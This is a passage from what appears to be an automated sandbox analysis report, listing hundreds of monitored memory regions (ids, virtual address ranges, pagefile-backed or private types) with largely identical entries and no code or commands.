0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4132 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4133 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4134 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4135 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4136 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4137 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4138 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4139 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4140 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4141 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4142 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4143 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4144 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4145 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4146 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4147 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4148 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4149 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4150 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4151 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4152 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4153 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4154 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4155 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4156 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4157 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4158 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4159 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4160 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4161 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4162 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4163 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4164 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4165 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4166 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4167 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4168 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 4169 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 4170 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 4171 start_va = 0x460000 end_va = 0x460fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 4172 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4173 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4174 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4175 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4176 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4177 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4178 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4179 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4180 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4181 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4182 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4183 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4184 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4185 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4186 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4187 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4188 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4189 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4190 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4191 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4192 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4193 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4194 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4195 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4196 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4197 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4198 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4199 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4200 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4201 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4202 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4203 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4204 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4205 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4206 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4207 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4208 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4209 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4210 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4211 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4212 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4213 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4214 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4215 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4216 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4217 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4218 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4219 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4220 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4221 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4222 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4223 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4224 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4225 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4226 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4227 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4228 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4229 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4230 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4231 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4232 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4233 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4234 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4235 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4236 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4237 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4238 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4239 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4240 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4241 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4242 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4243 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4244 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4245 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4246 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4247 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4248 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4249 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4250 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4251 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4252 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4253 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4254 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4255 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4256 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4257 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4258 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4259 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4260 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4261 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4262 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4263 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4264 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4265 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4266 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4267 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4268 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4269 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4270 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4271 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4272 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4273 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4274 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4275 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4276 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4277 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4278 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4279 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4280 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4281 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4282 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4283 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 4284 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 4285 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 4286 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4287 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4288 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4289 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4290 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4291 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4292 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4293 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4294 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4295 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4296 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4297 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4298 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4299 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4300 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4301 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4302 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4303 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4304 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4305 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4306 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4307 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4308 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4309 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4310 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4311 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4312 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4313 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4314 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4315 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4316 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4317 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4318 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4319 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4320 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4321 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 